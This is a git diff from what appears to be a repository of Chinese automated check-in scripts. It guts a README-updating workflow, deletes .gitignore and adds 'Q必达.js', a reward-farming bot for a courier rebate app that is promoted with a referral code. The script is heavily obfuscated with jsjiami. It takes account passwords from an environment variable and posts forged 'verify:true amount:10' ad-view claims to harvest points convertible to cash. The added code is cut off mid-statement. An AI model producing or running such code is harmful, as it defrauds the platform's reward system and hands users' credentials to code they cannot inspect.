diff --git a/.github/workflows/checkScriptStatus.yml b/.github/workflows/checkScriptStatus.yml
index 12a043c0..21e2dae8 100644
--- a/.github/workflows/checkScriptStatus.yml
+++ b/.github/workflows/checkScriptStatus.yml
@@ -1,239 +1 @@
-name: Update README Table
-
-on:
- push:
- branches:
- - main
- paths:
- - 'daily/**' # 监控 daily 目录
- - '!daily/notify.py' # 排除 notify.py
- - '!daily/**/*.md' # 排除 md 文件
- - 'wxapp/**' # 监控 wxapp 目录
- - '!wxapp/**/*.md' # 排除 wxapp 下的 md 文件
-
-jobs:
- update-readme:
- runs-on: ubuntu-latest
- permissions:
- contents: write
-
- steps:
- - name: 检出代码
- uses: actions/checkout@v4
- with:
- fetch-depth: 2
-
- - name: 配置 Python 环境
- uses: actions/setup-python@v5
- with:
- python-version: '3.x'
-
- - name: 运行更新脚本
- env:
- TZ: Asia/Shanghai
- run: |
- cat << 'EOF' > update_readme.py
- import os
- import re
- import datetime
- import subprocess
-
- # 获取本次 Push 更改的文件列表
- try:
- diff_cmd = ['git', 'diff', '--name-only', 'HEAD~1', 'HEAD']
- result = subprocess.run(diff_cmd, capture_output=True, text=True, check=True)
- changed_files = result.stdout.splitlines()
- except Exception:
- try:
- diff_cmd = ['git', 'diff', '--name-only', '--cached']
- result = subprocess.run(diff_cmd, capture_output=True, text=True, check=True)
- changed_files = result.stdout.splitlines()
- except Exception:
- changed_files = []
-
- now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
-
- # ========== 1. 收集更新信息 ==========
- daily_updates = {} # 脚本名 -> 更新时间
- wxapp_updates = {} # 脚本名 -> 更新时间
-
- for f in changed_files:
- # 处理 daily 目录
- if f.startswith('daily/') and os.path.exists(f):
- filename = os.path.basename(f)
- if filename != 'notify.py' and not f.endswith('.md'):
- with open(f, 'r', encoding='utf-8') as file:
- content = file.read()
- match = re.search(r'Env\s*\(\s*["\']([^"\']+)["\']\s*\)', content)
- if match:
- daily_updates[match.group(1)] = now
-
- # 处理 wxapp 目录(同样使用 Env 提取)
- elif f.startswith('wxapp/') and os.path.exists(f):
- if f.endswith('.js') or f.endswith('.py'):
- with open(f, 'r', encoding='utf-8') as file:
- content = file.read()
- match = re.search(r'Env\s*\(\s*["\']([^"\']+)["\']\s*\)', content)
- if match:
- wxapp_updates[match.group(1)] = now
-
- # ========== 2. 扫描目录获取所有现有脚本 ==========
- # daily 所有 Env 名称
- all_daily_scripts = set()
- if os.path.exists('daily'):
- for root, _, files in os.walk('daily'):
- for file in files:
- if file != 'notify.py' and not file.endswith('.md'):
- fpath = os.path.join(root, file).replace('\\', '/')
- with open(fpath, 'r', encoding='utf-8') as f:
- content = f.read()
- match = re.search(r'Env\s*\(\s*["\']([^"\']+)["\']\s*\)', content)
- if match:
- all_daily_scripts.add(match.group(1))
-
- # wxapp 所有 Env 名称
- all_wxapp_scripts = set()
- if os.path.exists('wxapp'):
- for root, _, files in os.walk('wxapp'):
- for file in files:
- if file.endswith('.js') or file.endswith('.py'):
- fpath = os.path.join(root, file).replace('\\', '/')
- with open(fpath, 'r', encoding='utf-8') as f:
- content = f.read()
- match = re.search(r'Env\s*\(\s*["\']([^"\']+)["\']\s*\)', content)
- if match:
- all_wxapp_scripts.add(match.group(1))
-
- # ========== 3. 更新 README 中的两个表格 ==========
- readme_path = 'README.md'
- if not os.path.exists(readme_path):
- print("README.md 不存在!")
- exit(1)
-
- with open(readme_path, 'r', encoding='utf-8') as f:
- full_text = f.read()
-
- # ---------- 3.1 更新 daily 表格 ----------
- start_daily = ""
- end_daily = ""
-
- if start_daily not in full_text or end_daily not in full_text:
- print("错误:未找到 daily 表格的锚点标记!")
- exit(1)
-
- pre_part, temp = full_text.split(start_daily)
- daily_table_section, post_part = temp.split(end_daily)
-
- lines = daily_table_section.strip().split('\n')
- header, separator, body_lines = [], [], []
- mode = 'header'
- for line in lines:
- l_s = line.strip()
- if not l_s.startswith('|'):
- continue
- if '脚本名称' in l_s:
- header.append(line)
- mode = 'separator'
- elif '---' in l_s and mode == 'separator':
- separator.append(line)
- mode = 'body'
- elif mode == 'body':
- body_lines.append(line)
-
- existing_daily = set()
- new_daily_body = []
- for line in body_lines:
- parts = [p.strip() for p in line.split('|')]
- if len(parts) >= 4:
- name = parts[1]
- existing_daily.add(name)
- if name in daily_updates:
- line = f"| {name} | {daily_updates[name]} | ✅ |"
- new_daily_body.append(line)
-
- for name, tm in daily_updates.items():
- if name not in existing_daily:
- new_daily_body.append(f"| {name} | {tm} | ✅ |")
- existing_daily.add(name)
-
- for name in all_daily_scripts:
- if name not in existing_daily:
- new_daily_body.append(f"| {name} | {now} | ✅ |")
-
- final_daily_table = "\n".join(header + separator + new_daily_body)
-
- # ---------- 3.2 更新 wxapp 表格 ----------
- start_wxapp = ""
- end_wxapp = ""
-
- if start_wxapp not in full_text or end_wxapp not in full_text:
- print("错误:未找到 wxapp 表格的锚点标记!")
- exit(1)
-
- # 从 post_part 中提取 wxapp 表格(因为 daily 表格已被切出)
- wxapp_pre, wxapp_temp = post_part.split(start_wxapp)
- wxapp_table_section, final_post = wxapp_temp.split(end_wxapp)
-
- lines_wx = wxapp_table_section.strip().split('\n')
- header_wx, separator_wx, body_lines_wx = [], [], []
- mode_wx = 'header'
- for line in lines_wx:
- l_s = line.strip()
- if not l_s.startswith('|'):
- continue
- if '脚本名称' in l_s:
- header_wx.append(line)
- mode_wx = 'separator'
- elif '---' in l_s and mode_wx == 'separator':
- separator_wx.append(line)
- mode_wx = 'body'
- elif mode_wx == 'body':
- body_lines_wx.append(line)
-
- existing_wxapp = set()
- new_wxapp_body = []
- for line in body_lines_wx:
- parts = [p.strip() for p in line.split('|')]
- if len(parts) >= 4:
- name = parts[1]
- existing_wxapp.add(name)
- if name in wxapp_updates:
- line = f"| {name} | {wxapp_updates[name]} | ✅ |"
- new_wxapp_body.append(line)
-
- for name, tm in wxapp_updates.items():
- if name not in existing_wxapp:
- new_wxapp_body.append(f"| {name} | {tm} | ✅ |")
- existing_wxapp.add(name)
-
- for name in all_wxapp_scripts:
- if name not in existing_wxapp:
- new_wxapp_body.append(f"| {name} | {now} | ✅ |")
-
- final_wxapp_table = "\n".join(header_wx + separator_wx + new_wxapp_body)
-
- # 重新组合整个 README
- final_content = (
- pre_part + start_daily + "\n" + final_daily_table + "\n" + end_daily +
- wxapp_pre + start_wxapp + "\n" + final_wxapp_table + "\n" + end_wxapp +
- final_post
- )
-
- with open(readme_path, 'w', encoding='utf-8') as f:
- f.write(final_content)
- print("README.md 处理完成。")
- EOF
-
- python update_readme.py
-
- - name: 提交并推送变更
- run: |
- git config --local user.email "github-actions[bot]@users.noreply.github.com"
- git config --local user.name "github-actions[bot]"
- git add README.md
- if ! git diff --staged --quiet; then
- git commit -m "docs: 自动更新 daily 和 wxapp 脚本状态 [skip ci]"
- git push
- else
- echo "无变更需推送。"
- fi
\ No newline at end of file
+#目的是给非backup目录下的触发提交的文件,给相应markdown表格的标签打成绿色,记录更新时间等等:待AI实现
\ No newline at end of file
diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index 130e5ed7..00000000
--- a/.gitignore
+++ /dev/null
@@ -1,6 +0,0 @@
-node_modules/
-package*.json
-.gitignore
-.codex
-.czrc
-Tools/
\ No newline at end of file
diff --git a/.vscode/settings.json b/.vscode/settings.json
new file mode 100644
index 00000000..6f3a2913
--- /dev/null
+++ b/.vscode/settings.json
@@ -0,0 +1,3 @@
+{
+ "liveServer.settings.port": 5501
+}
\ No newline at end of file
diff --git a/daily/51dalili.py b/51dalili.py
similarity index 99%
rename from daily/51dalili.py
rename to 51dalili.py
index 0f69fff7..851605da 100644
--- a/daily/51dalili.py
+++ b/51dalili.py
@@ -1,5 +1,4 @@
#51代理每日签到
-#new Env("51代理自动签到")
import requests
from bs4 import BeautifulSoup
import time
diff --git "a/Q\345\277\205\350\276\276.js" "b/Q\345\277\205\350\276\276.js"
new file mode 100644
index 00000000..781e97ee
--- /dev/null
+++ "b/Q\345\277\205\350\276\276.js"
@@ -0,0 +1,16 @@
+/*
+版本:v3
+入口:https://h5.qbida.vip/#/?shareCode=83NPKAI
+奖励:低价寄快递+看广告得积分换余额
+实现功能:签到+看广告+自动积分换现金
+7.26修复代码执行报错
+需要安装axios和crypto-js依赖
+npm install axios crypto-js -g
+年终奖项目,可接码使用
+
+登录需要填写邀请码才能进入:83NPKAI
+变量名:qbd
+变量值:export qbd="账号#密码"
+多账号换行或@分隔,或新建变量qbd
+*/
+var _0xodf='jsjiami.com.v7';const _0x524718=_0x42e3;function _0x42e3(_0x401980,_0x5c2dc7){const _0xef38c4=_0xef38();return _0x42e3=function(_0x42e377,_0x5b1434){_0x42e377=_0x42e377-0xf4;let _0x1afc24=_0xef38c4[_0x42e377];if(_0x42e3['defpSC']===undefined){var _0x2f3fd6=function(_0x54cd76){const _0x337671='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x4e2e40='',_0x593419='';for(let _0x2c5ee3=0x0,_0x4037dc,_0x36dc1c,_0x6a79db=0x0;_0x36dc1c=_0x54cd76['charAt'](_0x6a79db++);~_0x36dc1c&&(_0x4037dc=_0x2c5ee3%0x4?_0x4037dc*0x40+_0x36dc1c:_0x36dc1c,_0x2c5ee3++%0x4)?_0x4e2e40+=String['fromCharCode'](0xff&_0x4037dc>>(-0x2*_0x2c5ee3&0x6)):0x0){_0x36dc1c=_0x337671['indexOf'](_0x36dc1c);}for(let _0x449707=0x0,_0x1578a5=_0x4e2e40['length'];_0x449707<_0x1578a5;_0x449707++){_0x593419+='%'+('00'+_0x4e2e40['charCodeAt'](_0x449707)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x593419);};const _0x5f1f32=function(_0x3d2281,_0x4b1525){let _0xce0f47=[],_0x16ff05=0x0,_0xa0b44c,_0x15d23d='';_0x3d2281=_0x2f3fd6(_0x3d2281);let _0x10ef53;for(_0x10ef53=0x0;_0x10ef53<0x100;_0x10ef53++){_0xce0f47[_0x10ef53]=_0x10ef53;}for(_0x10ef53=0x0;_0x10ef53<0x100;_0x10ef53++){_0x16ff05=(_0x16ff05+_0xce0f47[_0x10ef53]+_0x4b1525['charCodeAt'](_0x10ef53%_0x4b1525['length']))%0x100,_0xa0b44c=_0xce0f47[_0x10ef53],_0xce0f47[_0x10ef53]=_0xce0f47[_0x16ff05],_0xce0f47[_0x16ff05]=_0xa0b44c;}_0x10ef53=0x0,_0x16ff05=0x0;for(let _0x2ecc07=0x0;_0x2ecc07<_0x3d2281['length'];_0x2ecc07++){_0x10ef53=(_0x10ef53+0x1)%0x100,_0x16ff05=(_0x16ff05+_0xce0f47[_0x10ef53])%0x100,_0xa0b44c=_0xce0f47[_0x10ef53],_0xce0f47[_0x10ef53]=_0xce0f47[_0x16ff05],_0xce0f47[_0x16ff05]=_0xa0b44c,_0x15d23d+=String['fromCharCode'](_0x3d2281['charCodeAt'](_0x2ecc07)^_0xce0f47[(_0xce0f47[_0x10ef53]+_0xce0f47[_0x16ff05])%0x100]);}return _0x15d23d;};_0x42e3['mQaXHs']=_0x5f1f32,_0x401980=arguments,_0x42e3['defpSC']=!![];}const _0x5d54c6=_0xef38c4[0x0],_0x26905f=_0x42e377+_0x5d54c6,_0x2dd36d=_0x401980[_0x26905f];return!_0x2dd36d?(_0x42e3['qxeXRj']===undefined&&(_0x42e3['qxeXRj']=!![]),_0x1afc24=_0x42e3['mQaXHs'](_0x1afc24,_0x5b1434),_0x401980[_0x26905f]=_0x1afc24):_0x1afc24=_0x2dd36d,_0x1afc24;},_0x42e3(_0x401980,_0x5c2dc7);}if(function(_0x2279bb,_0x1ed687,_0x2a632e,_0x44a2df,_0x558f55,_0x2c1edc,_0x37d468){return _0x2279bb=_0x2279bb>>0x1,_0x2c1edc='hs',_0x37d468='hs',function(_0x54edb4,_0x436cc1,_0x40d1ff,_0x7b9bd3,_0x24cc97){const _0x20e206=_0x42e3;_0x7b9bd3='tfi',_0x2c1edc=_0x7b9bd3+_0x2c1edc,_0x24cc97='up',_0x37d468+=_0x24cc97,_0x2c1edc=_0x40d1ff(_0x2c1edc),_0x37d468=_0x40d1ff(_0x37d468),_0x40d1ff=0x0;const _0x56842c=_0x54edb4();while(!![]&&--_0x44a2df+_0x436cc1){try{_0x7b9bd3=-parseInt(_0x20e206(0x169,'%[8%'))/0x1*(-parseInt(_0x20e206(0xf5,'V0z5'))/0x2)+-parseInt(_0x20e206(0x13f,'YH*v'))/0x3+parseInt(_0x20e206(0x115,'o[z%'))/0x4*(parseInt(_0x20e206(0x125,'bOO^'))/0x5)+parseInt(_0x20e206(0x165,'wXlJ'))/0x6+parseInt(_0x20e206(0x109,'&JKX'))/0x7*(parseInt(_0x20e206(0x150,'YSK['))/0x8)+-parseInt(_0x20e206(0x14f,'[n7g'))/0x9+-parseInt(_0x20e206(0x16e,'h@&]'))/0xa;}catch(_0x56e4cb){_0x7b9bd3=_0x40d1ff;}finally{_0x24cc97=_0x56842c[_0x2c1edc]();if(_0x2279bb<=_0x44a2df)_0x40d1ff?_0x558f55?_0x7b9bd3=_0x24cc97:_0x558f55=_0x24cc97:_0x40d1ff=_0x24cc97;else{if(_0x40d1ff==_0x558f55['replace'](/[PHUgRyOuIhpeSJDTXwf=]/g,'')){if(_0x7b9bd3===_0x436cc1){_0x56842c['un'+_0x2c1edc](_0x24cc97);break;}_0x56842c[_0x37d468](_0x24cc97);}}}}}(_0x2a632e,_0x1ed687,function(_0x16ce5e,_0x2ec089,_0x15ab99,_0x2eb0f0,_0x3e076c,_0x102b06,_0x1f5356){return _0x2ec089='\x73\x70\x6c\x69\x74',_0x16ce5e=arguments[0x0],_0x16ce5e=_0x16ce5e[_0x2ec089](''),_0x15ab99=`\x72\x65\x76\x65\x72\x73\x65`,_0x16ce5e=_0x16ce5e[_0x15ab99]('\x76'),_0x2eb0f0=`\x6a\x6f\x69\x6e`,(0x1b1e6d,_0x16ce5e[_0x2eb0f0](''));});}(0x192,0x29d4d,_0xef38,0xcb),_0xef38){}const axios=require(_0x524718(0x117,'R0h1')),CryptoJS=require('crypto-js'),UA='okhttp-okgo/jeasonlzy';function log(_0x341db5){const _0x237722=_0x524718;console[_0x237722(0x168,'Fc[#')](_0x341db5);}function readEnvAccounts(){const _0x3865b1=_0x524718,_0x509c90={'wCcQQ':function(_0x3b7e55,_0x45ec87){return _0x3b7e55&&_0x45ec87;}},_0x3869df=(process[_0x3865b1(0x155,'Yi6@')][_0x3865b1(0x114,'vKAw')]||'')['trim']();if(!_0x3869df)return[];return _0x3869df[_0x3865b1(0x14a,'S3sY')](/[@\r\n]+/)[_0x3865b1(0x107,'Qjjl')](_0x140281=>_0x140281[_0x3865b1(0x148,']xpS')]())[_0x3865b1(0x12e,'yYjB')](Boolean)[_0x3865b1(0x167,'q8Lv')](_0x169197=>{const _0x217bbc=_0x3865b1,[_0x30acaf,_0x3e7b98]=_0x169197[_0x217bbc(0x112,'Zv60')]('#');return _0x509c90[_0x217bbc(0x135,'&JKX')](_0x30acaf,_0x3e7b98)?{'phone':_0x30acaf,'pwd':_0x3e7b98}:null;})[_0x3865b1(0x101,'S3sY')](Boolean);}function _0xef38(){const _0x1726a7=(function(){return[...[_0xodf,'HjDsTjgJiPfRampIiID.UgcuyoOmfew.v7OfhSwX==','W7FcOulcSa','W5irWOvgWO8oW698','WO7cH0tdKGBcOmoYFNhdGcxdHa','W4jVzmorwG','xCo8A33cLq','WQ1YW78I','WOW3jCkeW7i','xSo8u3lcQW','W6OLW6DQWPe','u8kvqSoODq','WP3cKmojW45rWRWyW4XdpuxdJCo+WPmkW5VcI8ocjYVcNCkrrhhdLCkzi1GRAIiYfmofWOmBkCo0WRW5W5zJ','WP/cK8kmsG','W5vXyCouumkNWOFcJmocWPldIv3dHCkWWRO6W5uwySooW7hcUM3cSa8/W7zNg8o2','W7xdJL3dP8oc','8lMiQSoB5P225OM55yUP5lUx5l+a6lww5y6n77216kYT5z+K542H5AcC5y+v6ywh6ysd5RAj5yQOWPqmFSotwUAjJUACN+wpNCoL5AYX56kV','W5NWMygMrEw8V+wjNoENI+wjME+/GG','WPtdMSowWPzWta','W5OOWOnVWRG','W4BcHb/cLs7cG8kZtSkyWOqkWRq','W4nEBmocWRLlWPFdJWpdQCoDW6K','W6hdJConWQq','W5GqWPvg','gCkEkSk3W7q','WQeMqN8gpW','dSoJaW','W6hcOxFcR3O','vMdcVfRdGWWJr27cMCofmZDWW7DprCkNW5FcNSoR','WPWziCkhWRPwW5BdNZ3dSSo+W4yWdSkEnJbbW5b7WQ1IWRFdGNXGhvK9WQZcRre8WP0zWRRdV8kU','W6iHW6vq','d2xdJCkRFq','4P+kWP7NNlRLU7hLK7ZLPOROT7ZcUW','rCoBDgG','WPnjWRRdRatdGXm','W4KrW6i','WPBcI8ozW5S','W5bUzmoAvCkH','W7GNW4nRWQ0','W75RWP04sq','rCodANtcJq','W4vCbmksW6OoWRddRa','W79ogSoZW6mpW5xdRSoQWR/cKCkW','W7W7W6zpcG','EIn6','W5CqWPy','WQGEWQO5BCkUzCor','W7GJW452WQXd'],...(function(){return[...['WPBdGcJdIG0','WQBcKCkbvmoJ','W5RdMmoqeCocWPHFW4OUtG','WPtdNIddKW3dJ2BcMLSNoSoK','W6pdKWFcHxS','WQzPW683sdWOW7nDfCoMlCkvj3lcOCoTW4aXWQDPCM/dNSkYbNpcIwW3W6VdJMxdJ8oHiCkGrHPrq8oypWdcVSozEbtdKSkUuSks','W7ddP0VdG8o3','uSoFWPpdRCka','o8ohb20A','4P60WP/NR4BLI4hLPlxOTieP','4P+UW4hKUk/ML4lLTzpNN4RLUytLK7fm','W4OkWPTUWPO','WOFcImkwuW','vMdcTre','cmoYna','zdjMW555','WQ/dUNJdGf8','WPqbr3Kv','WOBcImouW50o','g8kejSkxW54','WR8YECkJ','p1OKbmolWRBdGCkFWR3cQSov','n+EMREwiJmk9','W4mLWOfqWPO','y8ooWPBdPG','4P2ByUECGEILSEMINos7OUwiP+wKTUI1G8kk','j8oKjCkebG','4P25l+I3T+woG8ks','W6RdKvBdP8oy','4P6XiEs7M+AvNEw3I+wTIoAlTUAkUoAEOUEFTUILOEMJO+s5LowjOSo1Fos4LEwlLowiNEIJH+EJREITRshdJG','W70aW4raWRu','m8kxW5FdJSkGd8k8WPJcRG','W4NcPZ8lWOG','W6ddL13dUSotW4K','WPldLIFdKaVdIgVcVuGXdCoh','bWVcMmkF','pwGGWP0','W7VdG8oj','WRq4WPTlW7acWPRdRWpdMhhdJq','lKZdIW','W5LKySolwmkJWOm','WOunesFcTmoQW6C','d0SUW4ldVq','4PY3goI1QUwnG8kQ','W7O1W4S','C0Hyq8ocsafMWQNdMYxcN2FcNd7cJgZdHmkNlCkMWQxdJX0BgmkcW6xcSGSOdCo7ECo/W7hcJSoIqCo6eSkQWPC','WRVcRSk2CW','q3LasSkG'],...(function(){return['yCkCwCoo','rmkUyCodua','rN/cVr3dHG','W4GlWPbxWP0p','eGJcIa','hGP4vCkVECkCW7RdNSkx','WRCmW6BcM8kl','oaJcK8k+W4C','W6apfmoKyq','4P+nwEETK+wlSoAlHowkQo++SoImLow8ICoC','WOaCASkMWPO','CKRcHq','WPa8amkpW7C','W7xdIMxdMSo3','vCkHqCohxa','pb7cJa','W4xcUhhcUW','nSonhmkyW75pcbj2WRdcOCoL','j8odfmkrAuT0WPS8W49qASoOWPddSx47tSk0W4RcSLJcHmktW5ORWQNcSxvBWQ5GW5FcPX3dSKtdNftcIaj+WRCLWQpdIb4RlCotW6S','j0ZdJ8kA','8lAGPdhOT4lLJ4/VV6u','W7n3g0inounetG','W6/cRr09WONcOWi','W7vaWPW','4P6oD+EEPoINHoMHIowUVoAjM++8K+weVoIoO+w+Pbm','W6JKUzpOTiVLJlC','W7ffxmoWDW','e37dTKOd','zW5bW6DR','4PYosEs7NUAxMow0JEEUQUwkICoqW5lKUldLIj3LIOFOO6FNOjNOR6/cLJm','W6TPW4inWQvd','dSoMW7z9','g0tdJmkEzq','bLxdQCkjAa','Emkav8oszfWYWQ97W7zRAG','WPlOJ7BLJR3NLzVMI7FKVzJMG4BLPBBOTzS','W7TxW4u7WQW','W4uccclcKq','WRu3suWB','BgK9WPVdOq','FqXMvmkzWQ3cG8keWOJcVSozWRddRHOKW4PxWQ5Nb8opiWxdNmk7WOJdUUEMV+wiUgjsyrr9vgzyACoZW4GWWR7cSgXzWPFdVmoWaZtdSW','WOVdLv7dI3S','W4lcHJCiWRlcGG','WRiJhColW7m','amoxF25I'];}())];}())];}());_0xef38=function(){return _0x1726a7;};return _0xef38();};async function request(_0x141927,_0x32bc85='GET',_0x358192=null,_0x4ce774=''){const _0x424ea5=_0x524718,_0x593932={'ECjXB':_0x424ea5(0x126,'De%C'),'ExRrc':_0x424ea5(0x157,'Zv60'),'zcBWw':function(_0x343032,_0x147d62){return _0x343032===_0x147d62;},'vnuic':'Content-Type','KTxAo':_0x424ea5(0x149,'Opva')},_0x58d122=Date[_0x424ea5(0x105,'2HXi')](),_0x64a7bd={'User-Agent':UA,'source':_0x593932['ECjXB'],'appId':_0x593932[_0x424ea5(0x131,'Qjjl')],'version':_0x424ea5(0x159,'9lV$'),'token':_0x4ce774||''},_0x1e2b5f={'method':_0x32bc85,'url':_0x141927+'?t='+_0x58d122,'headers':_0x64a7bd,'timeout':0x2710};_0x358192&&(_0x593932[_0x424ea5(0x116,'ZGH@')](_0x424ea5(0x163,'lhvQ'),'wmSrW')?_0x337671[_0x424ea5(0x127,'%[8%')](_0x4e2e40):(_0x64a7bd[_0x593932[_0x424ea5(0x140,'Opva')]]=_0x593932[_0x424ea5(0x13b,'XyrK')],_0x1e2b5f[_0x424ea5(0xf4,'8mU*')]=_0x358192));try{return(await axios(_0x1e2b5f))[_0x424ea5(0x120,'u[#E')];}catch(_0x2c10ea){return{'code':-0x1,'msg':_0x2c10ea['message']};}}const apis={'login':_0x524718(0x170,'Os@i'),'info':'http://wuliucps.com/ht/web/login/info','signIn':_0x524718(0x158,'YSK['),'double':_0x524718(0x10d,'tm#T'),'video':_0x524718(0x147,'t9OZ'),'task':_0x524718(0x122,'OsM#')};async function login(_0x36d807,_0x136ec8){const _0x59252c=_0x524718,_0x3de3ea={'KhtNh':function(_0x5b28d1,_0x12c7e4,_0x1e0707,_0x3eaff9){return _0x5b28d1(_0x12c7e4,_0x1e0707,_0x3eaff9);},'PJrBQ':_0x59252c(0x10e,']xpS'),'Plnhq':function(_0xb0ae2e,_0x3558c8){return _0xb0ae2e===_0x3558c8;}},_0x1269ca=await _0x3de3ea[_0x59252c(0x144,'lhvQ')](request,apis[_0x59252c(0xfc,'S3sY')],_0x3de3ea[_0x59252c(0x173,'Yi6@')],{'editionCode':0x72b,'deviceType':0x1,'password':_0x136ec8,'genre':0x0,'edition':_0x59252c(0x16b,'h@&]'),'deviceNo':'','account':_0x36d807});return _0x3de3ea[_0x59252c(0x118,'1a$e')](_0x1269ca[_0x59252c(0x178,'Zv60')],0x0)?_0x1269ca['data']['token']:null;}async function getUserInfo(_0xa52aaf){const _0x4d4e41=_0x524718,_0x5c4132={'dQUxw':_0x4d4e41(0x11b,'Zv60'),'dwesu':function(_0x273225,_0x293f72){return _0x273225===_0x293f72;}},_0x3d5205=await request(apis['info'],_0x5c4132[_0x4d4e41(0x11c,'YSK[')],null,_0xa52aaf);return _0x5c4132[_0x4d4e41(0x111,'n3bN')](_0x3d5205[_0x4d4e41(0x15f,'t9OZ')],0x0)?_0x3d5205['data']:null;}async function getTaskList(_0xa552c){const _0x976122=_0x524718,_0x42bbc9={'VgjOr':function(_0x4b94ef,_0x2f63dc,_0x23e45c,_0x1297e9,_0x39f9f8){return _0x4b94ef(_0x2f63dc,_0x23e45c,_0x1297e9,_0x39f9f8);},'bBbjm':_0x976122(0x179,'OsM#')},_0x1a57f4=await _0x42bbc9['VgjOr'](request,apis[_0x976122(0x151,'2HXi')],_0x42bbc9['bBbjm'],null,_0xa552c);if(_0x1a57f4['code']!==0x0)return{};const _0x479dc8={};return _0x1a57f4[_0x976122(0xf8,'qrm^')]['forEach'](_0x2b5c65=>_0x2b5c65[_0x976122(0x177,']xpS')]['forEach'](_0x3afa2e=>_0x479dc8[_0x3afa2e[_0x976122(0x139,'[n7g')]]=_0x3afa2e)),_0x479dc8;}async function doSign(_0x41c07f){const _0x1b1f8c=_0x524718,_0xd2a3e7={'aWrLP':function(_0x5574c9,_0x305b1e,_0x255831,_0x9ccb05,_0x2ef6f2){return _0x5574c9(_0x305b1e,_0x255831,_0x9ccb05,_0x2ef6f2);},'stTTA':_0x1b1f8c(0x12f,'[BNe'),'qEJvw':function(_0x47b2c7,_0x2b007e){return _0x47b2c7===_0x2b007e;}},_0xdc172f=await _0xd2a3e7[_0x1b1f8c(0x14e,'Fc[#')](request,apis['signIn'],_0xd2a3e7[_0x1b1f8c(0x11d,'S3sY')],{'group':''},_0x41c07f);return _0xd2a3e7['qEJvw'](_0xdc172f[_0x1b1f8c(0x142,'Os@i')],0x0)?_0xdc172f[_0x1b1f8c(0x123,'Qjjl')]:null;}async function doDouble(_0x71f0b8){const _0x16c57a=_0x524718,_0x25f6ff={'AqAzy':_0x16c57a(0x138,'V0z5'),'AQuPq':function(_0x1cc161,_0xb9e10a,_0x323692,_0x4f8d44,_0x2efa71){return _0x1cc161(_0xb9e10a,_0x323692,_0x4f8d44,_0x2efa71);},'XlucN':_0x16c57a(0x15c,'lhvQ'),'OOyez':function(_0x23c8ac,_0x8f680e){return _0x23c8ac===_0x8f680e;}},_0x4ae7f3={'data':_0x25f6ff['AqAzy']},_0x10fa3d=await _0x25f6ff[_0x16c57a(0x13c,'vGhy')](request,apis[_0x16c57a(0x160,'Opva')],_0x25f6ff[_0x16c57a(0x16f,'YH*v')],_0x4ae7f3,_0x71f0b8);return _0x25f6ff['OOyez'](_0x10fa3d['code'],0x0)?_0x10fa3d[_0x16c57a(0x110,'XNGi')]:null;}async function watchVideo(_0x50bab6){const _0x4e1dc5=_0x524718,_0xde72f={'BnUJF':'verify:true\x20amount:10\x20name:积分\x20errorCode:0\x20errorMsg:','xbkxF':function(_0x4aa119,_0x591282,_0x1a5a90,_0xb42d46,_0x266b24){return _0x4aa119(_0x591282,_0x1a5a90,_0xb42d46,_0x266b24);},'xgpzv':_0x4e1dc5(0x13d,'h@&]'),'tsbvw':function(_0x93ceaf,_0x522803){return _0x93ceaf===_0x522803;}},_0x476a75={'data':_0xde72f['BnUJF']},_0x596c26=await _0xde72f['xbkxF'](request,apis['video'],_0xde72f['xgpzv'],_0x476a75,_0x50bab6);return _0xde72f[_0x4e1dc5(0x10a,'ICy1')](_0x596c26[_0x4e1dc5(0x152,'Fc[#')],0x0)?_0x596c26[_0x4e1dc5(0x103,'vKAw')]:null;}async function runAccount(_0x2bd4e2,_0x118644){const _0x4c2f7b=_0x524718,_0x234c2c={'arHhH':function(_0x1dbb7c,_0x4b4a1f){return _0x1dbb7c&&_0x4b4a1f;},'JNxnG':function(_0x156dc1,_0x5bf483,_0x1e7ff0){return _0x156dc1(_0x5bf483,_0x1e7ff0);},'zNbyG':function(_0x4d831d,_0x2a37fb){return _0x4d831d!==_0x2a37fb;},'vWkBl':_0x4c2f7b(0xfa,'OsM#'),'ZEisZ':function(_0x24b6e1,_0x3a05a0){return _0x24b6e1(_0x3a05a0);},'xZpsr':function(_0x402803,_0x135c26){return _0x402803===_0x135c26;},'Xiwen':'签到赚积分','xqAkG':'rxgGx','HTtNm':function(_0x4441df,_0x2e459c){return _0x4441df===_0x2e459c;},'MpdsB':_0x4c2f7b(0x12c,'q8Lv'),'gDfdN':function(_0x2d9058,_0x2b509e){return _0x2d9058!=_0x2b509e;},'XKthK':_0x4c2f7b(0x174,'%ye5'),'PFRgA':_0x4c2f7b(0x175,']xpS'),'XElyX':function(_0x28b004,_0x55ced1){return _0x28b004(_0x55ced1);},'HhLAV':_0x4c2f7b(0x15b,'S3sY'),'FOfKB':_0x4c2f7b(0xfd,'Opva'),'sLFXP':function(_0xbf488d,_0x1db351){return _0xbf488d!==_0x1db351;},'RTApd':'LhpHC','HeGfN':'uGvbk','WpdWo':function(_0x159cb8,_0x43dc7a){return _0x159cb8>_0x43dc7a;},'uxEwy':_0x4c2f7b(0xf9,'q8Lv')},_0x199ce3=await _0x234c2c[_0x4c2f7b(0x17e,'6xMU')](login,_0x2bd4e2,_0x118644);if(!_0x199ce3){log(_0x4c2f7b(0xfb,'Zv60')+_0x2bd4e2+'\x20登录失败');return;}const _0x4608c5=await getUserInfo(_0x199ce3);if(!_0x4608c5){if(_0x234c2c['zNbyG'](_0x234c2c[_0x4c2f7b(0x134,'yYjB')],_0x234c2c[_0x4c2f7b(0xfe,'&H9h')])){_0x437430(_0x4c2f7b(0x14b,'%[8%'));return;}else{_0x234c2c['ZEisZ'](log,_0x4c2f7b(0x10b,'ICy1')+_0x2bd4e2+_0x4c2f7b(0x133,'&JKX'));return;}}const _0x4ba94d=await getTaskList(_0x199ce3),_0x434c86=_0x2bd4e2['length']>=0x7?_0x2bd4e2['slice'](0x0,0x3)+_0x4c2f7b(0x104,'q8Lv')+_0x2bd4e2[_0x4c2f7b(0x17d,'t9OZ')](-0x4):_0x2bd4e2;let 